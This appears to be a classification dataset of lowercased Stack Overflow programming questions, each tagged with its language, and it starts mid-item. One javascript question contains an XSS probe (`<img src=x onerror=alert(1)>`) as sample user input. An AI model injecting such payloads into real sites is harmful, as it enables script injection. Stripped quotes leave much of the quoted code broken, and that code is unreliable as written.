{     std::cout &lt;&lt; vertex_arr[i];   }   std::cout &lt;&lt;   }  &lt;&lt; std::endl; } </code></pre>   main.cpp   <pre><code>#include  polygon.h  #include &lt;iostream&gt;  using namespace std; int main() {   vertex varr[] = { vertex(0 0)  vertex(10 0)                      vertex(5 2)  vertex(5 5) };   polygon *p = new polygon( 1  4  varr  4 );   cout &lt;&lt; *p &lt;&lt; endl;   cout &lt;&lt;  now the print() method  &lt;&lt; endl;   p-&gt;print();    return 0; } </code></pre>   when i compile my cpp files (polygon and main) i get the following error   <pre><code>duplicate symbol __zn5shaped0ev in: /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/main-b44100.o /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/polygon-a07778.o duplicate symbol __zn5shaped1ev in: /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/main-b44100.o /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/polygon-a07778.o duplicate symbol __zn5shaped2ev in: /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/main-b44100.o /var/folders/lk/5y917sd55lx3hbp_5r5vmklc0000gn/t/polygon-a07778.o ld: 3 duplicate symbols for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   what am i doing wrong  im quite new to c++ so... thanks,c++
having problems with fancy box options  im using fancy box 2.0.4 on my site which has a email contact triggered by a link and a pop up email submission form that appears on page load. i am having a difficult time with the pop up that shows on page load. it seems that no matter what i do the options get ignored.i dont want the window to close if clicked outside of it in fact none of the options ive set are working.i have researched your site and google and havent had any luck.the pop up trigger is a div call out ( #inline )...here is a sample of that code..any help on the matter would be greatly appreciated seeing ive learned a great deal from your site. gratitude!    this is the code for the automated popup:   <pre><code>$(document).ready(function() { $.fancybox.open( $( #inline ))({     wrapcss    :  fancybox-effects       openeffect  :  fade           closeeffect :  fade           openspeed   : 2000          closespeed  : 1000      closeclick  : false  // prevents closing when clicking inside fancybox      helpers   :      { overlay : {closeclick: false}  // prevents closing when clicking outside fancybox      speedin: 2000  //&lt;-- here you control the overlay speedin     speedout: 1000 //&lt;-- here you control the overlay speedout      }     }).trigger( click ) }); </code></pre>,jquery
how to declare function within jquery   i have the following where if you click on one of the list items  a javascript function will be called. this should run the jquery below to hide/show an element.   <pre><code>div#user-box   ul     li#dashboard(href= javascript:showonlyone( newboxes1 ) )       a dashboard     li#settings(href= javascript:showonlyone( newboxes2 ) )       a settings   div(class= newboxes  id= newboxes1 )     p dashboard   div(class= newboxes  id= newboxes2 )     p account id: </code></pre>   i tried this and but it didn t work:   <pre><code>$(document).ready(function() { var showonlyone = function(thechosenone) { $( .newboxes ).each(function(index) { if ($(this).attr( id ) == thechosenone) {    $(this).show(200)}    else {    $(this).hide(600);    } }) } }) </code></pre>   the functionality must be working  it s just that the function must not be called when clicking on the list items.,javascript
javascript parse int rounding issue  if i do the following:   <pre><code>parseint(parsefloat(9.20)*100*1)/100 // returns 9.19 </code></pre>   it returns 9.19 when i want it to return 9.20 what do i need to change to get it to return the correct value     i have the same issue when i change it to:   <pre><code>parseint(parsefloat(9.12)*100*1)/100 // returns 9.11 </code></pre>   but any other value works fine:   <pre><code>parseint(parsefloat(9.30)*100*1)/100 // returns 9.30 (correct) </code></pre>   update:    the solution was this:   <pre><code>(math.round(9.20*100*1)/100).tofixed(2) </code></pre>,javascript
working with invalid html tags  i have a set of html codes and i am wondering how can i wrap a code such that it is interpreted correct by the browser and independent of the others.    i think i should give an example:    x = <code>&lt;a href=&quot;stackoverflow.com&quot;&gt;something</code>    y = <code>&lt;b&gt;else&lt;/b&gt;</code>    i print x  then y and the browser will consider that y is part of the link defined in x. how can i force the browser to interpret x independent of y; that s is  how can i wrap x and y     i don t know if it is relevant  but i work in python.    thanks!,html
function that takes int and converts to array inserts values backwards   so i have a function that takes a number  let s just say 123 for testing purposes  and converts it to an array by inserting each digit into a place in the array.  my problem is: it does this backwards.  so 123 in this case would be printed as 321.  any thoughts on how to change this    <pre><code>int i = 0;  while (number) {     array[i] = number % 10;     number /= 10;     printf( %llu   array[i]);     i++; } </code></pre>,c
how would one generate a mac address in javascript   i need to generate a random mac address for a project of mine  and i can not get it to work. below is my current code (that is not working).   <pre><code>function genmac(){ // make a new array with all available hex options. var colours = new array( 0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f ); // make variable to hold 6 character hex array parta = new array(1); partb = new array(1); partc = new array(1); partd = new array(1); parte = new array(1); partf = new array(1); mac-address=  ; for (i=0;i&lt;2;i++){     // loop for parta     parta[i]=colours[math.round(math.random()*14)]; }     for (i=0;i&lt;2;i++){     // loop through 6 times  randomising the letter added to the array     partb[i]=colours[math.round(math.random()*14)]; }     for (i=0;i&lt;2;i++){     // loop through 6 times  randomising the letter added to the array     partc[i]=colours[math.round(math.random()*14)]; }     for (i=0;i&lt;2;i++){     // loop through 6 times  randomising the letter added to the array     partd[i]=colours[math.round(math.random()*14)]; }     for (i=0;i&lt;2;i++){     // loop through 6 times  randomising the letter added to the array     parte[i]=colours[math.round(math.random()*14)]; }     for (i=0;i&lt;2;i++){     // loop through 6 times  randomising the letter added to the array     partf[i]=colours[math.round(math.random()*14)]; } // returns like  a10bc5 . it is likely that you may need to add a  # . mac-address = parta +  :  + partb +  :  + partc +  :  + partd +  :  + parte +  :  + partf; return mac-address; </code></pre>   }    ugly. i m fairly new to js and i am wondering if there is an easier way to do this that would work.,javascript
java.lang.classcastexception: sun.java2d.nullsurfacedata cannot be cast to sun.java2d.d3d.d3dsurfacedata  please can someone help me on this    <blockquote>    java.lang.classcastexception: sun.java2d.nullsurfacedata cannot be   cast to sun.java2d.d3d.d3dsurfacedata           at sun.java2d.d3d.d3drenderer.copyarea(unknown source)           at sun.java2d.d3d.d3dsurfacedata.copyarea(unknown source)           at sun.java2d.sungraphics2d.docopyarea(unknown source)           at sun.java2d.sungraphics2d.copyarea(unknown source)           at javax.swing.bufferstrategypaintmanager.copyarea(unknown source)           at javax.swing.repaintmanager.copyarea(unknown source)           at javax.swing.jviewport.blitdoublebuffered(unknown source)           at javax.swing.jviewport.windowblitpaint(unknown source)           at javax.swing.jviewport.setviewposition(unknown source)           at javax.swing.plaf.basic.basicscrollpaneui$handler.vsbstatechanged(unknown   source)           at javax.swing.plaf.basic.basicscrollpaneui$handler.statechanged(unknown   source)           at javax.swing.defaultboundedrangemodel.firestatechanged(unknown source)           at javax.swing.defaultboundedrangemodel.setrangeproperties(unknown   source)           at javax.swing.defaultboundedrangemodel.setvalue(unknown source)           at javax.swing.jscrollbar.setvalue(unknown source)  </blockquote>,java
assignment operator overload  i have class that has assignment to <code>string</code> operator.   <pre><code>class turbo     { public:     operator string   (void) {printf( assignment to string operator\n );return  bla2 ;}     }; </code></pre>   assignment operation works just fine:   <pre><code>turbo t; string s; s=t; </code></pre>   and i have <code> assignment to string operator </code> in output.    then i decided to make another assignment operator to <code>turbo</code>   <pre><code>class turbo     { public:     operator string   (void) {printf( assignment to string operator\n );return  bla ;}     operator turbo   (void) {printf( assignment to turbo operator\n );return *this;}     }; </code></pre>   but code below does not calls <code>turbo</code> assignment operator.   <pre><code>turbo t; turbo tt ; tt=t; </code></pre>   why     i know that i can overload <code>=</code> operator  but i expect operator <code>turbo</code> work also since <code>string</code> one is operating.,c++
contains and remove methods for instances user-defined classes in a list   so i have this code:   <pre><code>list&lt;mydatatype&gt; test = map.get(id) mydatatype test1 = new mydatatype( xxx   1);  system.out.println(test.contains(test1)); // returns false system.out.println(test.get(0).equals(test1)); // returns true system.out.println(test.remove(test1)); // returns false  system.out.println(test); // still the original list </code></pre>   i have already overridden the <code>.equals</code> and <code>.hashcode()</code> methods in mydatatype  and it is consistent. furthermore  <code>map</code> is of type <code>listmultimap&lt;long  destquantuple&gt;</code> (forgot to mention this in my op.) however  the call: <code>map.remove(sourcecontainerid  test1)</code> does not modify <code>test</code> either.    the <code>mydatatype</code> class:   <pre><code>public class mydatatype implements comparable&lt;mydatatype&gt; {     private string destination;     private int quantity;      // constructor initializes destination and quantity      // getters exist to get destination and quantity      public boolean equals (mydatatype other) {         boolean destinationsame = false  quantitysame = false;         destinationsame = this.getdestination().equals(other.getdestination());         integer thisquantity = (integer) this.getquantity();         integer otherquantity = (integer) other.getquantity();         quantitysame = thisquantity.equals(otherquantity);         return destinationsame &amp;&amp; quantitysame;     }      public int hashcode() {         return destination.hashcode() + quantity;     }      public int compareto(mydatatype other) {         integer myquantity = this.getquantity();         if (myquantity.compareto(other.getquantity()) != 0) {             return myquantity.compareto(othertuple.getquantity());         }         else {             return this.getdestination().compareto(othertuple.getdestination());         }     } } </code></pre>   any idea why i m not getting the functionality i want,java
how to make the first option active in ng-select coming inside ng-repeat  is there any way to select the first option as default selected in each selctbox      <a href= http://plnkr.co/edit/gv28lk p=preview  rel= nofollow >plunker</a>   <pre><code>&lt;select ng-model= question.answer  ng-options= option for option in   question.options &gt;     &lt;/select&gt; </code></pre>   thanks in advance for the help,angularjs
modifying the null column for a specific row in mysql   i m trying to modify a row  <code>marketing_schedule</code>  in my database to change the column to <code>null</code> to <code>no</code>.    <a href= https://i.stack.imgur.com/3ezcr.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3ezcr.jpg  alt= enter image description here ></a>    i ve tried the command <code>alter table permissions modify marketing_schedule tinyint(1) not null;</code> as given in <a href= https://stackoverflow.com/questions/6305225/how-to-add-not-null-constraint-to-existing-column-in-mysql5-1 >how to add not null constraint to existing column in mysql5.1</a> but i get the error shown in the screenshot above. any idea on why i m getting this error and how i can go about fixing my problem,mysql
replace quotes using javascript  we are building json data through user input. it works fine unit unless user input <code>quotes</code> as first letter.    my output look like after stringify.   <pre><code>{ text :   &gt;&lt;img src=x onerror=alert( 1 )&gt; } </code></pre>   json data if use did not input quotes in first place.   <pre><code>{ text : &gt;&lt;img src=x onerror=alert( 1 )&gt; } </code></pre>   i am trying to replace     with   but that did not work for me. <a href= https://jsfiddle.net/unyddgo3/  rel= nofollow >fiddle</a>    actual result    <pre><code>{ text :   &gt;&lt;img src=x onerror=alert( 1 )&gt; } </code></pre>   desired result    <pre><code>{ text : &gt;&lt;img src=x onerror=alert( 1 )&gt; } </code></pre>,javascript
build a solution  why do server errors occur on running a solution  even if the solution is building successfully,asp.net
performance difference between a .net assembly built in debug and release mode   some previous developers put some assemblies that were built in debug mode into production. is it worth recompiling them in release mode and redeploying them  if there s just a 1-2% performance increase  i d probably just leave them there. on the other hand  a 10-20% increase might change my mind.,.net
possible to set :hover to a certain class instead of specific css properties   i have a class as follows:   <pre><code>.x { color: #123456; background-color:#987654 } </code></pre>   is it possible to do the following without using scripting code    <pre><code>a:hover {   //set css to all in class x   //color: the color specified in class x   //background-color: the color specified in class x } </code></pre>,css
jquery - sliding vertically aligned column  i have two columns  they are both floated to the left.    inside the left column i have a  trigger  to hide the right column  this makes the left column expand 100% when the right column is hidden. right now i am able to make the right column appear back  but the problem is that the right column wraps under the left column (of course  the left column has 100% width) and not to next to it like it initially started.    i m not a jquery/javascript programmer  but i would think i m in a good direction with my jquery code.    here s my html:   <pre><code>&lt;div id= wrapper &gt;   &lt;div id= left-col &gt;   &lt;div id= trigger &gt;&lt;a href= # &gt;toggle&lt;/a&gt;&lt;/div&gt;     &lt;p&gt;...&lt;/p&gt;   &lt;/div&gt;   &lt;div id= right-col &gt;right column&lt;/div&gt;   &lt;br class= clear &gt; &lt;/div&gt; </code></pre>   this is the jquery i have so far:   <pre><code>$(function() {    $( #left-col ).addclass( wide80 );   $( #trigger a ).click(function(){       $( #right-col ).animate({width: toggle } 350);     $( #left-col ).animate({width: 100% } 350); return false    }); }); </code></pre>   any help you can give me would be greatly appreciated.    thanks.,jquery
jquery not working to update text in a column  below is my structure.   <pre><code>&lt;table class= mrquestiontable &gt;&lt;tr&gt;&lt;td id= cell.0.0 /&gt;&lt;/tr&gt;&lt;/table&gt; </code></pre>   i am using below code to insert text in first column but it doesn t work. ideally  it should be.   <pre><code>$( #cell.0.0 ).html( header ); </code></pre>,jquery
objective-c replace superclass with class  is it possible to do something like this in objective-c (using categories or something similar): (pseudo code)   <pre><code>   abstract class element extends node {}     class object extends element (and uses sprite instead of node) {}     class sprite extends node {} </code></pre>   one solution would be to put node as a member variable to element  but then i would have to write all the wrapper functions for node class. is it possible to extend it somehow     thanks!,objective-c
why javascript has two tags bracket intead one like link   probably it s a stupid question but why i can write:     <pre><code>&lt;link rel= stylesheet  href= mystyle.css  /&gt; </code></pre>   but if i want incluse javascript file i must use this:   <pre><code> &lt;script src= jquery-1.11.js &gt;&lt;/script&gt; </code></pre>   instead of   <pre><code>&lt;script src= jquery-1.11.js  /&gt; </code></pre>,javascript
list::list  names the constructor  not the type  i get this error while compiling my class linked list with constructors. i wanted to do a copy assignment operator  but i get this error  list::list  names the constructor  not the type. the line is:   <pre><code>list::list&amp; operator= (const list &amp;l) </code></pre>   list is my the name of my class,c++
how to resolve fixed div positions in html  i would like to know why my divs are not fixed. i pass a position x and y on the html but depending of the screen resolution or if a maximize the html or reduce his width or heigth. i want that this divs are always in the exactly position.    thanks    <a href= http://pastie.org/3281032  rel= nofollow >http://pastie.org/3281032</a>,html
objective-c basics: subclassing and member variable accessability  code below is pseudo code. imagine a class  fruit  which has a factory method to create a fruit.   <pre><code>interface fruit { } +(fruit*) createfruit: {   return [[fruit alloc] init autorelease]; } </code></pre>   now i want to subclass the fruit to get an apple:   <pre><code>interface apple : fruit { int iseeds; } +(apple*) createapplewithcolor: (int) iseeds { apple* oapple = [apple createfruit:]; oapple.iseeds = iseeds; return oapple; } </code></pre>   questions:   <ul> <li>how can i make  iseeds  private so it cannot be changed from outside  if i add a  private  keyword it does not build anymore.</li> <li>still i want to set iseeds from inside my apple s factory method.</li> <li>i want users allow to read the content of iseeds. so i suppose i should have a getter but i can t get it to work. i always get some error about  lvalue assignment .</li> <li>the fruit s createfruit is making use of autorelease. does the apple have to reatin/release anything </li> </ul>   rené,objective-c
help! creating a spreadsheet using a multidimensional array c++  i have to create a simple spreadsheet program looks like this   <pre><code>  a b c d e f g  0  1  2  3  4  </code></pre>   that can set values to cells by user input a1  24.2  then set the value 24.2 in a1 and store it the same user could enter: c3 /  a1  b2 to cause the cell c3 to contain the  quotient of the contents of cells a1 and b2      i wonder know how to take a two dimensional array and be able to access the the elements of the array and displays the spreadsheet with all values entered or calculated the code i had so far   <pre><code>class spreadsheet{ public:     const static int nrows = 10;     const static int ncols = 10;      spreadsheet();     ofstream myfile;     ifstream retfile;     void displaysheet();     void displayfilesheet(char *);     void refreshfile();     void inspreadsheet();     void setsheet(const string[nrows][ncols]);     void setcell(int   int  string);   string getcell(int  int);   private:     string sheet[nrows][ncols];    }; </code></pre>   then i got stuck  any one,c++
difference between service and thread in android   all i need to know is that when i can do some operation using an independent thread  why do i need service. <strong>what is that  a service can do but a thread can t </strong> i did go to through many of the posts but couldn t find a satisfactory answer.,android
what is the right way to go for making this game   i want to make a game similar to <a href= http://www.i-am-bored.com/bored_link.cfm link_id=24495  rel= nofollow >http://www.i-am-bored.com/bored_link.cfm link_id=24495</a>  but so far i have been unsuccessful. i think i should use an int[] for the x and y positions of the blocks... but i am not sure how i can easily do this.    here is my code (i know it s a bit messy). panel is the jpanel  block are the blocks moving left and right and deadblock are the blocks that are stationary and already placed.    the game is so simple  but i am having a hard time with placing the deadblocks.   <pre><code>package com.valgriz.game;  import java.awt.color; import java.awt.graphics; import java.awt.toolkit; import java.awt.event.keyevent; import java.awt.event.keylistener;  import javax.swing.jpanel;  public class panel extends jpanel implements runnable  keylistener {     private thread thread;      private final int array_nums = 999;      private int sleeptime = 200;     private int rights = 5;     private int lefts = 0;     private int dbcurrent;     private int drawthismany;      private boolean isspaced;      private block block;     private deadblock[] dblock = new deadblock[array_nums];     private int[] dbx = new int[array_nums];     private int[] dby = new int[array_nums];      public panel() {         addkeylistener(this);         setdoublebuffered(true);         setfocusable(true);         setbackground(color.black);         block = new block();         drawthismany = 0;         drawthismany += rights;         for (int i = 0; i &lt; dblock.length; i++) {             dblock[i] = new deadblock();         }          dbcurrent = 0;          // thread         thread = new thread(this);         thread.start();     }      @override     public void run() {         while (true) {             update();             try {                 thread.sleep(sleeptime);             } catch (exception e) {              }         }     }      public void update() {         block.update();         repaint();     }      public void paint(graphics g) {         super.paint(g);          for (int i = lefts; i &lt; rights; i++) {             int bx = block.getx();             if (bx == getwidth() - block.getdx() * rights) {                 block.setdx(block.getdx() * -1);             }             if (bx == 0) {                 block.setdx(block.getdx() * -1);             }              g.drawimage(block.getblock()  i * block.getwidth() + block.getx()                      getheight() - block.getdy() * block.gety()  this);              dbpaint(g);         }         // toolkit         toolkit.getdefaulttoolkit().sync();         g.dispose();      }      ////// this code is useless     public void dbpaint(graphics g) {         for (int i = 0; i &lt; drawthismany; i++) {             dbx[i] = block.getx() + i * block.getx();             dby[i] = getheight() - block.gety() * block.getwidth();             g.drawimage(dblock[i].getimage()  dbx[i]  dby[i]  this);         }      }      public void spaced() {      }      @override     public void keypressed(keyevent e) {         int key = e.getkeycode();         if (key == keyevent.vk_space) {             spaced();         }     }      @override     public void keyreleased(keyevent e) {      }      @override     public void keytyped(keyevent e) {      } } </code></pre>  <hr>  <pre><code>package com.valgriz.game;  import java.awt.graphics; import java.awt.graphics2d; import java.awt.image; import java.net.url;  import javax.swing.imageicon;  public class block {     private imageicon bii;     private image block;     private int x;     private int y;     private int dx;     private int dy;     private int pos;     private int width;      public block() {         bii = new imageicon(this.getclass().getresource(                  /raw/images/ss_block.png ));         block = bii.getimage();          dx = getblock().getwidth(null);         dy = getblock().getheight(null);         width = getblock().getwidth(null);          x = 0;         y = 1;     }      public void update() {         x += dx;     }      public image getblock() {         return block;     }      public int getdx() {         return dx;     }      public void setdx(int dx) {         this.dx = dx;     }      public int getdy() {         return dy;     }      public int getx() {         return x;     }      public int gety() {         return y;     }      public int getwidth() {         return width;     }  } </code></pre>  <hr>  <pre><code>package com.valgriz.game;  import java.awt.graphics; import java.awt.image;  import javax.swing.imageicon;  public class deadblock {     private block block;      private imageicon bii;     private image dblock;      private int x;     private int y;      public deadblock() {         bii = new imageicon(this.getclass().getresource(                  /raw/images/ss_block.png ));         dblock = bii.getimage();     }      public void paint(graphics g) {      }      public int getx() {         return x;     }      public void setx(int x) {         this.x = x;     }      public int gety() {         return y;     }      public void sety(int y) {         this.y = y;     }      public image getimage() {         return dblock;     } } </code></pre>   what is the right direction and how can i make this code work,java
convert list into table - python  i have two arrays. <code>column_names</code> hold the column titles. <code>values</code> hold all the values.    i understand if i do this:   <pre><code>column_names = [ a    b    c ] values = [1  2  3] for n  v in zip(column_names  values):     print( {} = {} .format(n  v)) </code></pre>   i get   <pre><code>a = 1 b = 2 c = 3 </code></pre>   how do i code it so if i pass:   <pre><code>column_names = [ a    b    c ] values = [1  2  3  4  5  6  7  8  9] </code></pre>   i would get   <pre><code>a = 1  4  7 b = 2  5  8 c = 3  6  9 </code></pre>   thank you!,python
general protection error  i am working on a project in c++ where the records of various players are maintained in order of the points they have scored.here are the segments of the code    1.adding new user   <pre><code>void add_to_leader_board(user u) {     fstream f( ldr brd.dat  ios::in|ios::binary);     fstream f2( temp.dat  ios::binary|ios::out);     user a;     int chk=0;     while(f.read((char*)&amp;a sizeof(user)))     {         if(a.getpts()&lt;u.getpts()&amp;&amp;chk==0)         {             f2.write((char*)&amp;u sizeof(user));             chk++;         }         f2.write((char*)&amp;a sizeof(user));     }     f1.close();     f2.close();     remove( ldr brd.dat );     rename( temp.dat   ldr brd.dat );     dis_leader_board(u);     getch(); } </code></pre>   2.displaying the records   <pre><code>void dis_leader_board(user u) {     clrscr();     user a;     int i=0;     fstream f( ldr brd.dat  ios::in|ios::binary);     cout&lt;&lt; name ;     gotoxy(15 1);     cout&lt;&lt; points ;     while(f.read((char*)&amp;a sizeof(user)))     {         a.output(i);   //the definition of this function has been written down     }     f.close(); } </code></pre>   3.<strong>modifying the records</strong> of the existing user and <strong>insert in appropriate position</strong>   (written upto where the problem occurs)   <pre><code>void modify_leader_board(user u) {     cout&lt;&lt; before saving  ;     for(int i=0;i&lt;5;i++)     {         delay(0 0 800);         cout&lt;&lt; .  ;     }     delay(0 5);     clrscr();     dis_leader_board(u);     delay(1 10);     .     .//problem occurs before this.so i don t think the remaining is reqd     . </code></pre>   4.output function   <pre><code>inline void user::output(int r) { /*   name  and  pts  are data members*/     r+=2;     gotoxy(1 r);     cout&lt;&lt;name;     gotoxy(15 r);     cout&lt;&lt;pts; } </code></pre>   when i tried executing the program the following were the problems i encountered -   <ol> <li>i invoked the function add_to_leader_board. it worked all fine. the name was added to the file. i was very happy. but <strong>after display of records</strong>  by invoking dis_leader_board(which is a part of add_to_leader_board itself)  i got a message which said  general protection exception .</li> <li>i invoked modify_leader_board function. again  it worked all fine until it reached the clrscr() function before invoking dis_leader_board. i was very happy ......but toozzz... this time even <strong>before it started to display records</strong> i got a message saying  general protection exception !!!</li> <li> general protection exception     general protection exception     general protection exception    general protection exception  ..... wherever i go  it seems to follow me like the hutch dog!!!</li> </ol>   i have the feeling that even the over protection of minority ( whether required or not ) offered by any of the governments and organizations  would not match the protection the compiler offers to the code!!!!    <strong>when add_to_leader_board is called  exception (general protection exception) occurs at the statement f.close() (probably something to do with it being the last statement) in display_leader_board function (called by add_to_leader_board) and when modify_leader_board is called  it occurs even before calling the function display_leader_board</strong>    could anyone help me find the error      <strong>i also want to know all the other cases when general protection exception can occur.</strong>    i appreciate an early response.    thank you,c++
implemented iterable hands wrong size back  i m new to this site  so please feel free to correct me if there s anything wrong about my question or the style of the question.    i need to implement the iterable interface in my sharecollection class  so that i can iterate over all the shares in this class. when i m testing my class with the sample data it always hands back  0  as size  even though there are (in my example) two shares in my collection.    <strong>here s the code of the class + one sample method which hands back an error:</strong>   <pre><code>public class sharecollection implements iterable&lt;share&gt;{     private hashset&lt;share&gt; shares;      public sharecollection() {         this.shares = new hashset&lt;share&gt;();     }      public sharecollection(collection&lt;share&gt; shares) {         for (share s : shares) {             hashset&lt;share&gt; checkset = new hashset&lt;share&gt;(shares);             checkset.remove(s);             if (checkset.contains(s)) {                 throw new illegalargumentexception( there can t be two shares with the same name! );             }         }         this.shares = new hashset&lt;share&gt;(shares);     }      public boolean add(share share) {         if (share == null) {             throw new nullpointerexception( share isnt allowed to be null! );         }         return shares.add(share);     }       @override     public iterator&lt;share&gt; iterator() {         return new hashset&lt;share&gt;(shares).iterator();     } } </code></pre>   <strong>here s the main method with the sample data i m using:</strong>   <pre><code>public static void main(string[] args) {     share s1 = new share( s1   new arraylist&lt;&gt;());     share s2 = new share( s2   new arraylist&lt;&gt;());      sharecollection sc = new sharecollection()     sc.add(s1);     sc.add(s2);      int counter = 0;      for (share s : sc) {         counter++;     }      system.out.print( counter:   + counter +  \n );     system.out.print( size:   + sc.size());  } </code></pre>   <strong>here s the output for the main-method:</strong>   <pre><code>counter: 2 size: 0 </code></pre>   <strong>here s the error for the  add -method:</strong>   <pre><code>java.lang.assertionerror: sharecollection#size should give 1 for a collection with 1 elements. expected: &lt;1&gt;      but: was &lt;0&gt;     at org.hamcrest.matcherassert.assertthat(matcherassert.java:20)     at org.junit.assert.assertthat(assert.java:956)     at jpp.marketanalysis.tests.data.testsharecollection.haselements(testsharecollection.java:158)     at jpp.marketanalysis.tests.data.testsharecollection.testadd(testsharecollection.java:55) </code></pre>   thank you in advance for your answers!    <strong>update:</strong>   <ul> <li>exchanged the arraylist with a hashset (see @seanpatrickfloyd s first answer)</li> </ul>,java
jquery draggable changing css  top  value  i have a table with two columns; names and items (represented by images).   <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;td class= name &gt;bob&lt;/td&gt; &lt;td class= items &gt;&lt;img src= thing1.gif  class= item &gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class= name &gt;joe&lt;/td&gt; &lt;td class= items &gt;&lt;img src= thing2.gif  class= item &gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   i would like to have the user be able to drag the images from one row to another (i.e.  move  thing2.gif  from joe to bob). i accomplished this with jquery as follows:   <pre><code>// initialize these as draggable $( .item ).draggable({     revert:  invalid       ghosting: true      opacity: 0.5  });  $( .items ).droppable({     accept:  .item       activeclass:  drop_active       drop: function( event  ui ) {         $(this).append(ui.draggable);     } });  </code></pre>   the problem i m encountering is that after the move  each img seems to have a acquired a new css attribute: <code>top: ±x;</code>  where <code>x</code> represents how much the image was moved vertically. i.e.  if i had dragged the image up for pixels before dropping it  it would have an attribute <code>top: -40px</code>. this would have the effect of making it be displayed 40 pixels above it s new row. does anyone know how to correct for this  or  can anyone suggest a better way to do this,jquery
how to compare tuples of string in python   is there any way to do following task in python   i have a 2 or more tuples of string in python in that sometimes 1st string is different and all others are same so i want output like following-   <pre><code>a1=[( 1   a   b   3 ) ( 2   a   b   3 )] # yields [ 1   2 ]  a2=[( 23   j   k   l ) ( 2   j   k   l )  ( 34   j   k   l )] # yields [ 23   2   34 ] </code></pre>   thanks in advanced,python
detecting bad jpeg images  the question on <a href= https://stackoverflow.com/questions/1094956/how-can-i-validate-an-image-file-i-download-from-the-web-on-iphone/1208310#1208310 >validating</a> jpegs on network transfer is very helpful.    could we take this question one step further  what if the image data is incomplete or corrupt from the server  the complete transport works  the mime type is image/jpeg  the uiimage is constructed and non-nil but the renderer discovers inconsistencies in the data and the log shows  bad huffman code  or  premature end of data segment     how would i capture this error before tossing the uiimage into the view context and thereby getting a not-pretty image on the screen  could i render it to a non-screen context and capture the error,iphone
can i call method from .net console application under custom user   i have a console application and i would like to call method from it under another user. can i specify this user and password in attribute to method,.net
content-security-policy  safari and script hash  i m having issues setting csp policy. i m using hash to allow certain inline script blocks (eg. &lt;script&gt; //js &lt;/script&gt;). it works in chrome and almost flawlessly in firefox  but safari not so much :(    test case:   <pre class= lang-http prettyprint-override ><code>content-security-policy: script-src  sha256-0qss1xekcb2as4mfffpmyeg1owydekmuiebuhwtwwaw=   &lt;!doctype html&gt; &lt;html lang= en &gt; &lt;body&gt;   &lt;script&gt;document.write( js works );&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the other way to do it is with  nonce-...   but result is the same.    am i doing something wrong or is csp hash/nonce just unsupported in safari,html
my text file will not read into the array  this has been answered.  i am relatively new to c# and am experiencing a problem. my program keeps throwing an error per my try catch. i have looked over everything and changed things  but nothing seems to work. the error is being thrown on line 49 (where the while loop for reading the text file takes place). does anyone have any idea what could be the issue   i know there may be some other issues with the min/max/average  but i can figure that out. i just really need someone to help me fix the reading of the file into the array.    the error code is: input string is not in correct format. at system.number.stringtonumber     using system.collections.generic;     using system.componentmodel;     using system.data;     using system.drawing;     using system.linq;     using system.text;     using system.windows.forms;     using system.io;   <pre><code>namespace total_sales_bbrantley { public partial class form1 : form {     public form1()     {         initializecomponent();     }      private void btncalc_click(object sender  eventargs e)     {         try         {             // declare variable to hold the amount of sales              // declare a constant for the array size             const int size = 100;             // create an array for the sales             double[] allsales = new double[size];             // declare a variable for holding the total value of sales             double total = 0.0;             // declare a variable to hold the average             double average;             // declare a variable to hold the highest value             double highest = double.minvalue;             // declare a variable to hold the lowest value             double lowest = double.maxvalue;              int count = 0;              // declare a streamreader variable.             streamreader readfile;              // open the file and get a streamreader object using a relative path             readfile = file.opentext( sales.txt );              while (!readfile.endofstream &amp;&amp; count &lt; allsales.length)             {              error error error: [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[   allsales[count] = int.parse(readfile.readline()); ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]                 // increment count                 count++;           }               // close the file             readfile.close();              lstsales.items.add( the file contains   + count +   items: );             for (int index = 0; index &lt; count; index++)             {                 lstsales.items.add(allsales[index]);              }                // display the total             double sum = allsales.sum();             lbltotal.text = sum.tostring();              total += sum;             average = total / allsales.length;             lblaverage.text = average.tostring();              for (int index = 1; index &lt; allsales.length; index++)             {                 if (allsales[index] &gt; highest)                 {                     highest = allsales[index];                 }                 lblhighest.text = highest.tostring();              }             for (int index = 1; index &lt; allsales.length; index++)             {                 if (allsales[index] &lt; lowest)                 {                     lowest = allsales[index];                 }                 lbllowest.text = lowest.tostring();             }         }         catch (exception ex)         {             // display an error message on bad input from file              messagebox.show(string.concat( error calculating the sales.    ex.message       \r\n   ex.stacktrace));         }      }      private void btnexit_click(object sender  eventargs e)     {         //closes the application         this.close();     } } </code></pre>   },c#
scope problems with inherited non-template class (template base  non-template derived)  i am trying to create a templated base class with non-templated derived classes. i have been following  umsl.edu/~subramaniana/templates8.html and <a href= http://www.cplusplus.com/doc/tutorial/templates/  rel= nofollow >http://www.cplusplus.com/doc/tutorial/templates/</a> to do so.   <pre><code>template &lt;class type&gt; class base { protected:     std::string line; public:     base(); };  class deriveda : public base&lt;t&gt; {     //error:  t  was not declared in this scope     //error: template argument 1 is invalid public:     deriveda(); protected:     std::list&lt;std::string&gt; a; }; </code></pre>   i think i am missing something fundamental about how this all works  but i can t seem to grasp it.    this is the full header and implementation:    <a href= http://ideone.com/h9nxdw  rel= nofollow >http://ideone.com/h9nxdw</a>,c++
